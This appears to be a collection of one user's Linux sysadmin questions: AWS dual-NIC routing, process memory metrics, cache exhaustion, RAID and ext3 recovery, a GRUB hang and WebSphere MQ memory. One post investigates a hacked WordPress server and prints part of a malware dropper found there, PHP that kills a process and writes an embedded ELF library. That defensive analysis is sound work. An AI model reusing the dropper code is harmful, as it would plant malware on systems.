Tony Stark's questions

I have two EC2 instances on AWS. I attach a second network interface to one of the EC2 instances and configure Redhat to use the new interface and IP.

The problem is that I can't ping the EC2 instance over the second NIC.

I was reading that asymmetric routing has to be prevented for this but I did not manage to this correctly. My steps were as follows.

1) Setup the new NIC because it does not get the new IPv4 automatically.

cd /etc/sysconfig/network-scripts/
cat ifcfg-eth0 > ifcfg-eth1

The eth1 config looks as follows.

BOOTPROTO=dhcp
DEVICE=eth1
HWADDR=02:d9:f6:0e:09:00
ONBOOT=yes
TYPE=Ethernet
USERCTL=no
IPADDR=192.168.125.232

ifdown eth1
ifup eth1

ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 192.168.125.247  netmask 255.255.255.224  broadcast 192.168.125.255
        inet6 fe80::3d:5cff:fef4:f5a8  prefixlen 64  scopeid 0x20<link>
        ether 02:3d:5c:f4:f5:a8  txqueuelen 1000  (Ethernet)


eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 192.168.125.232  netmask 255.255.255.224  broadcast 192.168.125.255
        inet6 fe80::d9:f6ff:fe0e:900  prefixlen 64  scopeid 0x20<link>
        ether 02:d9:f6:0e:09:00  txqueuelen 1000  (Ethernet)

[...]

route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.125.225 0.0.0.0         UG    100    0        0 eth0
0.0.0.0         192.168.125.225 0.0.0.0         UG    101    0        0 eth1
192.168.125.0   0.0.0.0         255.255.255.0   U     100    0        0 eth1
192.168.125.224 0.0.0.0         255.255.255.224 U     100    0        0 eth0
192.168.125.224 0.0.0.0         255.255.255.224 U     101    0        0 eth1

2) Trying to setup asymmetric routing like this.

ip route add default via 192.168.125.225 dev eth0 tab 1
ip route add default via 192.168.125.225 dev eth1 tab 2

ip rule add from 192.168.125.247/24 tab 1 

As soon as I run the above command I get disconnected from the instance and I can't reconnect via SSH. After this I just re-create the instance.

I never manage to run the last command, which I think is needed.

ip rule add from 192.168.125.232/24 tab 2

What am I missing? How do I set up the routing correctly for my setup?

EDIT #1: New try with new IP addresses won't work.

ip route add 192.168.125.224/27 dev eth0 table t1
ip route add 192.168.125.224/27 dev eth1 table t2
ip route add default via 192.168.125.225 dev eth0 table t1
ip route add default via 192.168.125.225 dev eth1 table t2

ip rule add from 192.168.125.243/27 table t1 priority 100
ip rule add from 192.168.125.232/27 table t2 priority 200
ip route flush cache

The workaround to disable source/destination check works but is not really something I want.

EDIT #2: After even more googling and pulling hair out of my head. Another try (not working :/).

ip route add default via 192.168.125.225 dev eth0 table t1
ip route add default via 192.168.125.225 dev eth1 table t2

ip rule add from 192.168.125.243/32 table t1 priority 100
ip rule add from 192.168.125.232/32 table t2 priority 200
ip route flush cache

I found many articles on the web about RSS and VSZ and what the difference between both is and all I really understood is that it's very hard to determine the actual used memory of a process on Linux. This is very unsatisfying.

Now an admin who takes care our application does not want us to go into production because in his eyes our application uses too much memory. He states that VSZ for the application is about 10GB. The RSS however is about 4GB.

Does it make sense to use VSZ from the ps command to monitor and alert memory of processes on a Redhat server? Would it be better to take another value for such monitoring?

I believe that adding all VSZ sizes of all applications does not equal 100% of all memory of the server. Why would it make sense to monitor it for one process then?

Does it even make sense to monitor processes on a server and wouldn't it be much better to just monitor the memory usage of the whole server and react when it reaches about 90% of all the memory?

Every Friday from about 22:00 our server starts using large amounts of cache and then dies about two hours later. Please look at the following Cacti graph.

We tried hunting processes which use large amounts of memory with https://raw.githubusercontent.com/pixelb/ps_mem/master/ps_mem.py but all it shows is the following.

...
438.0 MiB +   1.1 MiB = 439.1 MiB       XXXEngine XXX 961f4dbc-3b01-0000-0080-ff115176831d xxx
520.2 MiB +   1.7 MiB = 521.9 MiB       XXXEngine XXX f2ac330c-3a01-0000-0080-a2adb5561889 xxx
 10.4 GiB + 829.0 KiB =  10.4 GiB       java -server -Xms1G -Xmx5G -Djava.net.preferIPv4Stack=true -cp ../lib/hazelcast-3.2.2.jar:../lib/xxx.cache.jar com.hazelcast.examples.StartServer (2)
---------------------------------
                         28.1 GiB
=================================

This is nothing near to the 100G of cache and we were thinking that Linux may be using that much memory for caching disk I/O so we used atop to measure it. This is what we get when we run atop -r atop-20140919-230002-062979000.bin -d -D (-c).

  PID                                   TID                                   RDDSK                                  WRDSK                                  WCANCL                                   DSK                                 CMD       1/405
    1                                     -                                  907.9G                                  17.0T                                    2.8T                                   97%                                 init
 6513                                     -                                  175.1G                                  46.1G                                    5.9G                                    1%                                 crond
 8842                                     -                                      8K                                 110.3G                                    128K                                    1%                                 xxxzmuc0
 6296                                     -                                    6.5G                                  25.1G                                   15.9G                                    0%                                 sshd
 4463                                     -                                   4668K                                  23.2G                                      0K                                    0%                                 kjournald
19681                                     -                                   1835K                                  22.5G                                   22.4G                                    0%                                 xxxtroker
 4469                                     -                                   4728K                                  15.2G                                      0K                                    0%                                 kjournald
 4475                                     -                                   4716K                                  14.9G                                      0K                                    0%                                 kjournald
 2401                                     -                                    588K                                  11.4G                                      0K                                    0%                                 kjournald
 8652                                     -                                    7.0G                                   2.6G                                    1.3G                                    0%                                 k6gagent
26093                                     -                                    9.5G                                     0K                                      0K                                    0%                                 bpbkar
...

And atop with option -c.

  PID   TID S  DSK COMMAND-LINE (horizontal scroll with <- and -> keys)                                                                                                                                                                            1/405
    1     - S  97% init [3]
 6513     - S   1% crond
 8842     - S   1% xxzmuc0 -m XXX
 6296     - S   0% /usr/sbin/sshd
 4463     - S   0% kjournald
19681     - S   0% xxxtroker XXX
 4469     - S   0% kjournald
 4475     - S   0% kjournald
 2401     - S   0% kjournald
 8652     - S   0% /opt/IBM/ITM/lx8266/6g/bin/k6gagent
26093     - S   0% bpbkar -r 2678400 -ru root -dt 0 -to 0 -clnt ...
...

So what I can see is that init has written 17 Terabytes of data onto the disk which seems a lot. However I have no idea how to find out what is causing this. I was of the opinion that Linux is using cache to speed up disk operations but gives it back when processes are needing it and that it is not possible to kill off a server with cache.

We are on "Red Hat Enterprise Linux Server release 5.5 (Tikanga)" Linux delirium 2.6.18-194.26.1.el5 #1 SMP Fri Oct 29 14:21:16 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux.

What should we do (next) to find out what's wrong?

I am beginner system admin on a bunch of virtualized web servers. Recently we got an e-mail that one of our servers is being used for 'brute force' attacks. The content of the e-mail was similar to the following.

Greetings,

/somehost/ abuse team like to inform you, that we have had mass bruteforce attempts to the Joomla/WordPress control panel on the our shared-hosting server /somehost/.ru /ip-number/ from your network, from IP address /my-ip-address/

During the last 30 minutes we recorded 1500 attempts like this:

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

Total number of this attempts that have been recorded previously at this server (/some-host/.ru)[/their-ip/]:

====

This message was sent automatically by /some-company-name/ security system. Yor e-mail address obtained from the public WhoIs services. We are sorry for disturb if you have received this message by mistake. Please contact us if your e-mail is not relevant to this IP-address or network.

====

Thank you, /somehost/ abuse team

http:// /somehost/ dot ru

/some tel number in russia/,

/some more contact data in russia/

• What should I think about this e-mail? Is this a scam or a important message that should not be ignored?

I find it strange that they write "Joomla/Wordpress" when it can obviously be seen in their logs that "wp-login.php" is a PHP script from WordPress.

On our server we host several WordPress blogs via Webmin/Virtualmin and a Squid server that is not accessible from outside.

I observed the traffic with iftop and nethogs for a while and can't see anything suspicious. The squid access log seems normal to me.

We can see lots of attempts to log in to our server in the "secure" log but no one manages it to gain access.

See following dump from secure.

an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas

And another one.

Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye

With "who" I can clearly see that only I am logged in via SSH.

Today I updated all Webmin and Virtualmin modules ans Squid to the newest versions.

• What should we do now? What should be our next steps to secure the server from being used for attacks?
• Is it even necessary?
• What log files or configuration should we change/look at?

EDIT:

What I have done until now:

• I checked files that changed at attack date (we had almost 50GB traffic on our IP according to our provider) with find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. Nothing changed.
• I checked AWStats for all our domains. Not even one domain transferred over 40MB according to AWStats.
• WordPress was up to date on attack day.
• I updated all Webmin and Virtualmin modules.
• I updated squid and changed its port to something else than 3128. I left only 80, 443 and 21 as "safe" ports.
• I updated fail2ban.

I don't want to disconnect the server from the internet as suggested in How do I deal with a compromised server?. Our data is backed up so we are currently safe. However I would like to find out what caused the attack but I am still not able to achieve that.

EDIT 15.01.2014:

With nethogs I was able to find out that /usr/bin/host is receiving and sending much more data than expected.

NetHogs version 0.8.0

  PID USER     PROGRAM                                                                                                 DEV        SENT      RECEIVED
10267 /domain//usr/bin/host                                                                                           eth0     120.571     791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0                                                                                  eth0       2.177       0.111 KB/sec
?     root     /ip-address/:39586-119.247.224.98:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55718-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:38474-184.154.230.15:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46593-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:58733-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:41154-83.170.122.1:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39996-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:39872-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:37429-144.76.15.247:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:35063-216.12.197.226:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:51335-153.120.33.64:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:58344-64.207.178.120:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55848-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46799-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:38110-66.155.9.238:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39713-76.74.254.120:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:33814-209.217.227.30:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:41009-212.113.141.212:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:57027-173.11.110.117:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:45436-83.222.250.186:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:59143-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:43357-217.9.42.182:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:32981-82.113.145.170:80                                                                             0.000       0.000 KB/sec
?     root     unknown TCP                                                                                                        0.000       0.000 KB/sec

  TOTAL                                                                                                                         122.749     791.235 KB/sec

When running lsof on the PID you can clearly see that something is really awry with the WordPress installation.

[root@/domain/ logs]# lsof | grep 1706
host       1706 /domain/  cwd       DIR              253,0     4096      10178 /home//domain//public_html/wp-content/themes/twentyeleven
host       1706 /domain/  rtd       DIR              253,0     4096          2 /
host       1706 /domain/  txt       REG              253,0   137592    1054438 /usr/bin/host
host       1706 /domain/  mem       REG              253,0   156928    1178048 /lib64/ld-2.12.so
host       1706 /domain/  mem       REG              253,0    22536    1178065 /lib64/libdl-2.12.so
host       1706 /domain/  mem       REG              253,0  1926800    1178057 /lib64/libc-2.12.so
host       1706 /domain/  mem       REG              253,0   145896    1178061 /lib64/libpthread-2.12.so
host       1706 /domain/  mem       REG              253,0    91096    1178098 /lib64/libz.so.1.2.3
host       1706 /domain/  mem       REG              253,0   358560    1051774 /usr/lib64/libisc.so.83.0.3
host       1706 /domain/  mem       REG              253,0   599384    1178963 /lib64/libm-2.12.so
host       1706 /domain/  mem       REG              253,0   124624    1178074 /lib64/libselinux.so.1
host       1706 /domain/  mem       REG              253,0   113952    1178072 /lib64/libresolv-2.12.so
host       1706 /domain/  mem       REG              253,0  1674840    1050692 /usr/lib64/libdns.so.81.4.1
host       1706 /domain/  mem       REG              253,0   140568    1051828 /usr/lib64/libisccfg.so.82.0.1
host       1706 /domain/  mem       REG              253,0    34696    1051827 /usr/lib64/libisccc.so.80.0.0
host       1706 /domain/  mem       REG              253,0    17256    1178085 /lib64/libcom_err.so.2.1
host       1706 /domain/  mem       REG              253,0  1953536    1050724 /usr/lib64/libcrypto.so.1.0.1e
host       1706 /domain/  mem       REG              253,0    12592    1178067 /lib64/libkeyutils.so.1.3
host       1706 /domain/  mem       REG              253,0    46368    1178081 /lib64/libkrb5support.so.0.1
host       1706 /domain/  mem       REG              253,0    19016    1178989 /lib64/libcap.so.2.16
host       1706 /domain/  mem       REG              253,0   944712    1178089 /lib64/libkrb5.so.3.3
host       1706 /domain/  mem       REG              253,0   177520    1178083 /lib64/libk5crypto.so.3.1
host       1706 /domain/  mem       REG              253,0   209120    1180550 /lib64/libidn.so.11.6.1
host       1706 /domain/  mem       REG              253,0   280520    1178096 /lib64/libgssapi_krb5.so.2.2
host       1706 /domain/  mem       REG              253,0    52944    1051829 /usr/lib64/libbind9.so.80.0.4
host       1706 /domain/  mem       REG              253,0    75936    1052874 /usr/lib64/liblwres.so.80.0.2
host       1706 /domain/  mem       REG              253,0    21152    1178987 /lib64/libattr.so.1.1.0
host       1706 /domain/  mem       REG              253,0  1383368    1051772 /usr/lib64/libxml2.so.2.7.6
host       1706 /domain/  DEL       REG              253,0                 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host       1706 /domain/  mem       REG              253,0    27424    1178071 /lib64/libnss_dns-2.12.so
host       1706 /domain/  mem       REG              253,0    65928    1178073 /lib64/libnss_files-2.12.so
host       1706 /domain/  mem       REG              253,0 12582912      11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host       1706 /domain/  DEL       REG              253,0                 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host       1706 /domain/    0r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    1r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    2r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    3r      CHR                1,3      0t0       3782 /dev/null
spamd     18546        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18548        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18549        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so

I will have to take a look at home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so.

Simply all files that changed in January 2014 are not in the standard Twenty Eleven theme installation of WordPress. For example there is a script called initvsafe.php which can be used to store files in the file system.

<?php

header("Content-type: text/plain");

if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

...

I was able to start a broken raid 1 system with one available and one broken disk by issuing the following command.

mdadm --assemble --force /dev/md9 /dev/sda1 /dev/sda2

I was able to copy the VMWare image from the disk and repair it with the VMWare command

vmkfstools -x repair /path/to/image.vmdk

in order to mount it on a ESXi. The image was converted from GSX to ESXi format after the repair.

I was able to mount the disk (the /dev/sdb1 partition) in a fresh Ubuntu installation but while trying to rescue /var/www and issuing ls -al I get the following output.

The command fsck -y /dev/sdb1 did not report any failures.

The command fdisk -l /dev/sdb reports the following.

What can I do to get the data from /var/www?

UPDATE 1:

Running e2fsck -f -y /dev/sdb1 started to repair a lot of failures. I however doubt that this will get me my data back.

UPDATE 2:

After running e2fsck -f -y /dev/sdb1 there is absolutely no data in /var/www and lots of files with generated numeric file names are now in lost+found folder.

Are there any options out of this horrible accident?

After a disk failure on a VMWare GSX I was able to start the raid with one disk and copy the VMWare image to my ESXi server. After repairing the image with

vmkfstools -x repair /vmfs/volumes/source/vmname/vmname.vmdk

and converting it to ESXi with

vmkfstools -i /vmfs/volumes/source/vmname/vmname.vmdk /vmfs/volumes/dest/vmname/vmname.vmdk -d thin

I am not able to boot the image an just get

GRUB Loading stage1.5.

GRUB loading, please wait...
_

and the cursor does not even blink.

What are my options now? Is it possible to recover somehow with a rescue CD? What are the steps?

UPDATE:

I followed the advice to create a new Ubuntu server and add the VMWare image as new disk. However I get the following.

mount: wrong fs type, bad option, bad superblock on /dev/sdb,
 missing codepage or helper program, or other error
 In some cases useful info is found in syslog - try
 dmesg | tail or so

I was trying to restore the superblock but had no luck with the following commands.

sudo mke2fs -n /dev/sdb

The above printed several numbers (as described in http://linuxexpresso.wordpress.com/2010/03/31/repair-a-broken-ext4-superblock-in-ubuntu/).

e2fsck -b 20480000 /dev/sdb

I just keep getting "The superblock could not be read...". Do I have any chance to get the data on this ext3 file system back?

I am not sure how to interpret the memory usage of our servers on which WebSphere MQ (WMQ) is running. The main question is: Is WMQ using more and more memory over time (is it leaking memory) or is everything just fine and Linux is using our RAM for disk caching?

We have the following Cacti graph.

The data for this is polled from /proc/meminfo. Which currently shows the following output.

[user@server ~]$ cat /proc/meminfo 
MemTotal:     32956188 kB
MemFree:       3963664 kB
Buffers:       1225024 kB
Cached:       15611124 kB
SwapCached:      34016 kB
Active:       23880484 kB
Inactive:      3279676 kB
HighTotal:           0 kB
HighFree:            0 kB
LowTotal:     32956188 kB
LowFree:       3963664 kB
SwapTotal:     8388600 kB
SwapFree:      8354584 kB
Dirty:            1648 kB
Writeback:           0 kB
AnonPages:    10290180 kB
Mapped:         457704 kB
Slab:          1375028 kB
PageTables:     136452 kB
NFS_Unstable:        0 kB
Bounce:              0 kB
CommitLimit:  24866692 kB
Committed_AS: 19962412 kB
VmallocTotal: 34359738367 kB
VmallocUsed:    382196 kB
VmallocChunk: 34359356007 kB
HugePages_Total:     0
HugePages_Free:      0
HugePages_Rsvd:      0
Hugepagesize:     2048 kB

The command free -m shows the following currently.

[user@server ~]$ free -m 
             total       used       free     shared    buffers     cached
Mem:         32183      28312       3871          0       1196      15245
-/+ buffers/cache:      11870      20313
Swap:         8191         33       8158

According to the web site "linuxatemyram dot com" only the line "-/+ buffers/cache: 11870 20313" of "free -m" is relevant.

In the Cacti graph you can clearly see that "Used Memory" is increasing since the beginning of "Week 03". On the other hand "Cache" and "Buffers" seem to be pretty constant. How is "Used Memory" relevant in this case? Is WMQ leaking memory?